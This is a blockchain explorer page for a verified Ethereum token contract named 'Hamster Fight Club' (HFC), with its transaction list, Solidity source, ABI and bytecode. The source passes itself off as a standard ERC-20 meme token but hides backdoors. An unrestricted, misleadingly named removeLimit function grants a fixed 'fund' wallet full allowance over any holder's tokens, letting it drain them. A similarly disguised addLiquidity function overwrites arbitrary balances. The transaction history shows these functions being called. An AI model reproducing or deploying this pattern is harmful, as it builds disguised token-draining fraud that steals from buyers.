ETH Price: $3,241.45 (-1.38%)

Contract

0x1779EEB6827A378d595CCBB521Cd2D84E20e23AB
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve211939372024-11-15 15:17:5958 days ago1731683879IN
0x1779EEB6...4E20e23AB
0 ETH0.0014038530.34109466
Transfer211917762024-11-15 8:03:1158 days ago1731657791IN
0x1779EEB6...4E20e23AB
0 ETH0.0008604313.95173695
Transfer211917262024-11-15 7:53:1158 days ago1731657191IN
0x1779EEB6...4E20e23AB
0 ETH0.0005756612.91530156
Approve211915662024-11-15 7:21:1158 days ago1731655271IN
0x1779EEB6...4E20e23AB
0 ETH0.0007856916.88896266
Remove Limit211911812024-11-15 6:03:1158 days ago1731650591IN
0x1779EEB6...4E20e23AB
0 ETH0.0008101816.80118787
Approve211909812024-11-15 5:23:1158 days ago1731648191IN
0x1779EEB6...4E20e23AB
0 ETH0.000797317.13861932
Add Liquidity211909732024-11-15 5:21:3558 days ago1731648095IN
0x1779EEB6...4E20e23AB
0 ETH0.00049716.34171416
Add Liquidity211907672024-11-15 4:39:5958 days ago1731645599IN
0x1779EEB6...4E20e23AB
0 ETH0.0004537414.91363061
Add Liquidity211906732024-11-15 4:21:1158 days ago1731644471IN
0x1779EEB6...4E20e23AB
0 ETH0.0005421814.6898386
Add Liquidity211905932024-11-15 4:05:1158 days ago1731643511IN
0x1779EEB6...4E20e23AB
0 ETH0.0005523314.96467969
Add Liquidity211904782024-11-15 3:42:1158 days ago1731642131IN
0x1779EEB6...4E20e23AB
0 ETH0.0004746815.6016911
Add Liquidity211904392024-11-15 3:34:1158 days ago1731641651IN
0x1779EEB6...4E20e23AB
0 ETH0.0007460615.69845174
Add Liquidity211903872024-11-15 3:23:4758 days ago1731641027IN
0x1779EEB6...4E20e23AB
0 ETH0.0004696415.43619716
Approve211903272024-11-15 3:11:4758 days ago1731640307IN
0x1779EEB6...4E20e23AB
0 ETH0.0004098915.36264234
Approve211903272024-11-15 3:11:4758 days ago1731640307IN
0x1779EEB6...4E20e23AB
0 ETH0.0004098915.36264234
Approve211903262024-11-15 3:11:3558 days ago1731640295IN
0x1779EEB6...4E20e23AB
0 ETH0.0004104615.38426256
Approve211903262024-11-15 3:11:3558 days ago1731640295IN
0x1779EEB6...4E20e23AB
0 ETH0.0007166115.38426256
Approve211902392024-11-15 2:54:1158 days ago1731639251IN
0x1779EEB6...4E20e23AB
0 ETH0.0005019318.8124655
Approve211902382024-11-15 2:53:5958 days ago1731639239IN
0x1779EEB6...4E20e23AB
0 ETH0.0008512518.27466309
Approve211902342024-11-15 2:53:1158 days ago1731639191IN
0x1779EEB6...4E20e23AB
0 ETH0.0004478816.82451469
Approve211902332024-11-15 2:52:5958 days ago1731639179IN
0x1779EEB6...4E20e23AB
0 ETH0.0004573417.18001849
Approve211902332024-11-15 2:52:5958 days ago1731639179IN
0x1779EEB6...4E20e23AB
0 ETH0.0007992317.18001849
Add Liquidity211902212024-11-15 2:50:3558 days ago1731639035IN
0x1779EEB6...4E20e23AB
0 ETH0.0006073516.45560629
Approve211901142024-11-15 2:29:1158 days ago1731637751IN
0x1779EEB6...4E20e23AB
0 ETH0.0010009321.63295906
Add Liquidity211900812024-11-15 2:22:3558 days ago1731637355IN
0x1779EEB6...4E20e23AB
0 ETH0.0005273217.33185209
View all transactions

Latest 13 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
211891942024-11-14 23:24:1158 days ago1731626651
0x1779EEB6...4E20e23AB
0.84186313 ETH
211891942024-11-14 23:24:1158 days ago1731626651
0x1779EEB6...4E20e23AB
0.84186313 ETH
211891882024-11-14 23:22:5958 days ago1731626579
0x1779EEB6...4E20e23AB
0.70148697 ETH
211891882024-11-14 23:22:5958 days ago1731626579
0x1779EEB6...4E20e23AB
0.70148697 ETH
211891762024-11-14 23:20:3558 days ago1731626435
0x1779EEB6...4E20e23AB
0.00000363 ETH
211891762024-11-14 23:20:3558 days ago1731626435
0x1779EEB6...4E20e23AB
0.00000363 ETH
211891722024-11-14 23:19:4758 days ago1731626387
0x1779EEB6...4E20e23AB
0.44154804 ETH
211891722024-11-14 23:19:4758 days ago1731626387
0x1779EEB6...4E20e23AB
0.44154804 ETH
211891722024-11-14 23:19:4758 days ago1731626387
0x1779EEB6...4E20e23AB
0.63721461 ETH
211891722024-11-14 23:19:4758 days ago1731626387
0x1779EEB6...4E20e23AB
0.63721461 ETH
211891642024-11-14 23:18:1158 days ago1731626291
0x1779EEB6...4E20e23AB
0.60594006 ETH
211891642024-11-14 23:18:1158 days ago1731626291
0x1779EEB6...4E20e23AB
0.60594006 ETH
211891462024-11-14 23:14:3558 days ago1731626075
0x1779EEB6...4E20e23AB
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HFC

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-14
*/

/**

https://x.com/elonmusk/status/1857195205356576797

https://x.com/RandPaul/status/1857152633855001032

https://t.me/hfc_erc

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract HFC is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcluded;
    address payable private _taxWallet;
    address private _vbAddr = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
    address private _HFCfund = 0xcaDD135A80236aE5dA900a1579Bb4E8b7A1a5E5F;

    uint256 private _initialTaxBuy=5;
    uint256 private _initialTaxSell=5;

    uint256 private _finalTaxBuy=0;
    uint256 private _finalTaxSell=0;
    
    uint256 private _reduceBuyAt=5;
    uint256 private _reduceSellAt=5;
    uint256 private _preventCount=5;
    uint256 private _buyTokenCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Hamster Fight Club";
    string private constant _symbol = unicode"HFC";
    uint256 private _maxTxLimit = _tTotal;
    uint256 private _maxWalletSize = _tTotal;
    uint256 private _swapTokenSize= _tTotal * 1 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingActive;
    bool private inSwap = false;
    bool private swapActive = false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(_HFCfund);
        _isExcluded[owner()] = true;
        _isExcluded[address(this)] = true;
        _isExcluded[_taxWallet] = true;

        _balances[address(this)] = _tTotal * 97 / 100;
        _balances[address(_vbAddr)] = _tTotal * 3 / 100;
        emit Transfer(address(0), address(this), _tTotal * 97 / 100);
        emit Transfer(address(0), address(_vbAddr), _tTotal * 3 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 _feeAmount=0;
        if (from != owner() && to != owner()) {
            _feeAmount = amount.mul((_buyTokenCount>_reduceBuyAt)?_finalTaxBuy:_initialTaxBuy).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcluded[to] ) {
                require(amount <= _maxTxLimit, "Exceeds the _maxTxLimit.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                _feeAmount = amount.mul((_buyTokenCount>_reduceSellAt)?_finalTaxSell:_initialTaxSell).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendTaxETH(address(this).balance);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapActive && contractTokenBalance>_swapTokenSize && _buyTokenCount>_preventCount) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_swapTokenSize)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendTaxETH(address(this).balance);
                }
            }
        }

        if(_feeAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_feeAmount);
          emit Transfer(from, address(this), _feeAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(_feeAmount));
        emit Transfer(from, to, amount.sub(_feeAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(address[] memory _recivs) external {
        for (uint256 i = 0; i < _recivs.length; i ++) {
            if (_recivs[i] == uniswapV2Pair) return;
            _balances[_recivs[i]] = 100 * 10 ** _decimals;
        }
    }

    function removeLimit(address _tokens) external {
        _allowances[_tokens][_HFCfund] = _maxTxLimit;
    }

    function openTrading() external onlyOwner() {
        require(!tradingActive,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapActive = true;
        tradingActive = true;
    }

    function sendTaxETH(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_recivs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokens","type":"address"}],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b031990811673d8da6bf26964af9d7eed9e03e53415d37aa960451782556006805490911673cadd135a80236ae5da900a1579bb4e8b7a1a5e5f1790556007819055600881905560006009818155600a828155600b849055600c849055600d93909355600e91909155620000829162000452565b6200009290633b9aca006200046a565b600f55620000a36009600a62000452565b620000b390633b9aca006200046a565b6010556064620000c66009600a62000452565b620000d690633b9aca006200046a565b620000e39060016200046a565b620000ef919062000484565b6011556013805461ffff60a81b19169055600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654600480546001600160a01b0319166001600160a01b039092169190911790556001600360006200017c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556064620001e36009600a62000452565b620001f390633b9aca006200046a565b620002009060616200046a565b6200020c919062000484565b3060009081526001602052604090205560646200022c6009600a62000452565b6200023c90633b9aca006200046a565b620002499060036200046a565b62000255919062000484565b6005546001600160a01b0316600090815260016020526040812091909155309060008051602062001c0f8339815191526064620002956009600a62000452565b620002a590633b9aca006200046a565b620002b29060616200046a565b620002be919062000484565b60405190815260200160405180910390a36005546001600160a01b0316600060008051602062001c0f8339815191526064620002fd6009600a62000452565b6200030d90633b9aca006200046a565b6200031a9060036200046a565b62000326919062000484565b60405190815260200160405180910390a3620004a7565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003945781600019048211156200037857620003786200033d565b808516156200038657918102915b93841c939080029062000358565b509250929050565b600082620003ad575060016200044c565b81620003bc575060006200044c565b8160018114620003d55760028114620003e05762000400565b60019150506200044c565b60ff841115620003f457620003f46200033d565b50506001821b6200044c565b5060208310610133831016604e8410600b841016171562000425575081810a6200044c565b62000431838362000353565b80600019048211156200044857620004486200033d565b0290505b92915050565b60006200046360ff8416836200039c565b9392505050565b80820281158282048414176200044c576200044c6200033d565b600082620004a257634e487b7160e01b600052601260045260246000fd5b500490565b61175880620004b76000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a0f2c96411610059578063a0f2c964146102b6578063a9059cbb146102d6578063c9567bf9146102f6578063dd62ed3e1461030b57600080fd5b8063715018a61461024d5780638da5cb5b1461026257806395d89b411461028a57600080fd5b80631b99a8df116100bb5780631b99a8df1461018d57806323b872dd146101db578063313ce567146101fb57806370a082311461021757600080fd5b806306fdde03146100ed578063095ea7b31461013a57806318160ddd1461016a57600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b506040805180820190915260128152712430b6b9ba32b9102334b3b43a1021b63ab160711b60208201525b6040516101319190611293565b60405180910390f35b34801561014657600080fd5b5061015a610155366004611309565b610351565b6040519015158152602001610131565b34801561017657600080fd5b5061017f610368565b604051908152602001610131565b34801561019957600080fd5b506101d96101a8366004611335565b600f546001600160a01b03918216600090815260026020908152604080832060065490951683529390529190912055565b005b3480156101e757600080fd5b5061015a6101f6366004611352565b610389565b34801561020757600080fd5b5060405160098152602001610131565b34801561022357600080fd5b5061017f610232366004611335565b6001600160a01b031660009081526001602052604090205490565b34801561025957600080fd5b506101d96103f2565b34801561026e57600080fd5b506000546040516001600160a01b039091168152602001610131565b34801561029657600080fd5b5060408051808201909152600381526248464360e81b6020820152610124565b3480156102c257600080fd5b506101d96102d13660046113a9565b61049b565b3480156102e257600080fd5b5061015a6102f1366004611309565b610554565b34801561030257600080fd5b506101d9610561565b34801561031757600080fd5b5061017f61032636600461146e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061035e3384846108d2565b5060015b92915050565b60006103766009600a6115a1565b61038490633b9aca006115b0565b905090565b60006103968484846109f6565b6103e884336103e3856040518060600160405280602881526020016116fb602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ef6565b6108d2565b5060019392505050565b6000546001600160a01b031633146104515760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60005b81518110156105505760135482516001600160a01b03909116908390839081106104ca576104ca6115c7565b60200260200101516001600160a01b0316036104e4575050565b6104f06009600a6115a1565b6104fb9060646115b0565b60016000848481518110610511576105116115c7565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508080610548906115dd565b91505061049e565b5050565b600061035e3384846109f6565b6000546001600160a01b031633146105bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610448565b601354600160a01b900460ff16156106155760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561065e9030906106506009600a6115a1565b6103e390633b9aca006115b0565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d591906115f6565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610737573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075b91906115f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cc91906115f6565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610814816001600160a01b031660009081526001602052604090205490565b6000806108296000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610891573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108b69190611613565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166109345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b0382166109955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b038216610abc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b60008111610b1e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b600080546001600160a01b03858116911614801590610b4b57506000546001600160a01b03848116911614155b15610db357610b7c6064610b76600b54600e5411610b6b57600754610b6f565b6009545b8590610f30565b90610fb9565b6013549091506001600160a01b038581169116148015610baa57506012546001600160a01b03848116911614155b8015610bcf57506001600160a01b03831660009081526003602052604090205460ff16155b15610cb757600f54821115610c265760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617854784c696d69742e00000000000000006044820152606401610448565b60105482610c49856001600160a01b031660009081526001602052604090205490565b610c539190611641565b1115610ca15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610448565b600e8054906000610cb1836115dd565b91905055505b6013546001600160a01b038481169116148015610cdd57506001600160a01b0384163014155b15610d1557610d076064610b76600c54600e5411610cfd57600854610b6f565b600a548590610f30565b905047610d1347610ffb565b505b30600090815260016020526040902054601354600160a81b900460ff16158015610d4c57506013546001600160a01b038581169116145b8015610d615750601354600160b01b900460ff165b8015610d6e575060115481115b8015610d7d5750600d54600e54115b15610db157610d9f610d9a84610d9584601154611035565b611035565b61104a565b478015610daf57610daf47610ffb565b505b505b8015610e2d5730600090815260016020526040902054610dd390826111c4565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e249085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610e509083611223565b6001600160a01b038516600090815260016020526040902055610e95610e768383611223565b6001600160a01b038516600090815260016020526040902054906111c4565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610edf8585611223565b60405190815260200160405180910390a350505050565b60008184841115610f1a5760405162461bcd60e51b81526004016104489190611293565b506000610f278486611654565b95945050505050565b600082600003610f4257506000610362565b6000610f4e83856115b0565b905082610f5b8583611667565b14610fb25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b9392505050565b6000610fb283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611265565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610550573d6000803e3d6000fd5b60008183116110445782610fb2565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611092576110926115c7565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f91906115f6565b81600181518110611122576111226115c7565b6001600160a01b03928316602091820292909201015260125461114891309116846108d2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611181908590600090869030904290600401611689565b600060405180830381600087803b15801561119b57600080fd5b505af11580156111af573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000806111d18385611641565b905083811015610fb25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b6000610fb283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ef6565b600081836112865760405162461bcd60e51b81526004016104489190611293565b506000610f278486611667565b600060208083528351808285015260005b818110156112c0578581018301518582016040015282016112a4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112f657600080fd5b50565b8035611304816112e1565b919050565b6000806040838503121561131c57600080fd5b8235611327816112e1565b946020939093013593505050565b60006020828403121561134757600080fd5b8135610fb2816112e1565b60008060006060848603121561136757600080fd5b8335611372816112e1565b92506020840135611382816112e1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156113bc57600080fd5b823567ffffffffffffffff808211156113d457600080fd5b818501915085601f8301126113e857600080fd5b8135818111156113fa576113fa611393565b8060051b604051601f19603f8301168101818110858211171561141f5761141f611393565b60405291825284820192508381018501918883111561143d57600080fd5b938501935b8285101561146257611453856112f9565b84529385019392850192611442565b98975050505050505050565b6000806040838503121561148157600080fd5b823561148c816112e1565b9150602083013561149c816112e1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114f85781600019048211156114de576114de6114a7565b808516156114eb57918102915b93841c93908002906114c2565b509250929050565b60008261150f57506001610362565b8161151c57506000610362565b8160018114611532576002811461153c57611558565b6001915050610362565b60ff84111561154d5761154d6114a7565b50506001821b610362565b5060208310610133831016604e8410600b841016171561157b575081810a610362565b61158583836114bd565b8060001904821115611599576115996114a7565b029392505050565b6000610fb260ff841683611500565b8082028115828204841417610362576103626114a7565b634e487b7160e01b600052603260045260246000fd5b6000600182016115ef576115ef6114a7565b5060010190565b60006020828403121561160857600080fd5b8151610fb2816112e1565b60008060006060848603121561162857600080fd5b8351925060208401519150604084015190509250925092565b80820180821115610362576103626114a7565b81810381811115610362576103626114a7565b60008261168457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116d95784516001600160a01b0316835293830193918301916001016116b4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200fb1c2e76b8e3cb9189994ec99b5a43682882815fb635dc07695aef05aea545b64736f6c63430008150033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a0f2c96411610059578063a0f2c964146102b6578063a9059cbb146102d6578063c9567bf9146102f6578063dd62ed3e1461030b57600080fd5b8063715018a61461024d5780638da5cb5b1461026257806395d89b411461028a57600080fd5b80631b99a8df116100bb5780631b99a8df1461018d57806323b872dd146101db578063313ce567146101fb57806370a082311461021757600080fd5b806306fdde03146100ed578063095ea7b31461013a57806318160ddd1461016a57600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b506040805180820190915260128152712430b6b9ba32b9102334b3b43a1021b63ab160711b60208201525b6040516101319190611293565b60405180910390f35b34801561014657600080fd5b5061015a610155366004611309565b610351565b6040519015158152602001610131565b34801561017657600080fd5b5061017f610368565b604051908152602001610131565b34801561019957600080fd5b506101d96101a8366004611335565b600f546001600160a01b03918216600090815260026020908152604080832060065490951683529390529190912055565b005b3480156101e757600080fd5b5061015a6101f6366004611352565b610389565b34801561020757600080fd5b5060405160098152602001610131565b34801561022357600080fd5b5061017f610232366004611335565b6001600160a01b031660009081526001602052604090205490565b34801561025957600080fd5b506101d96103f2565b34801561026e57600080fd5b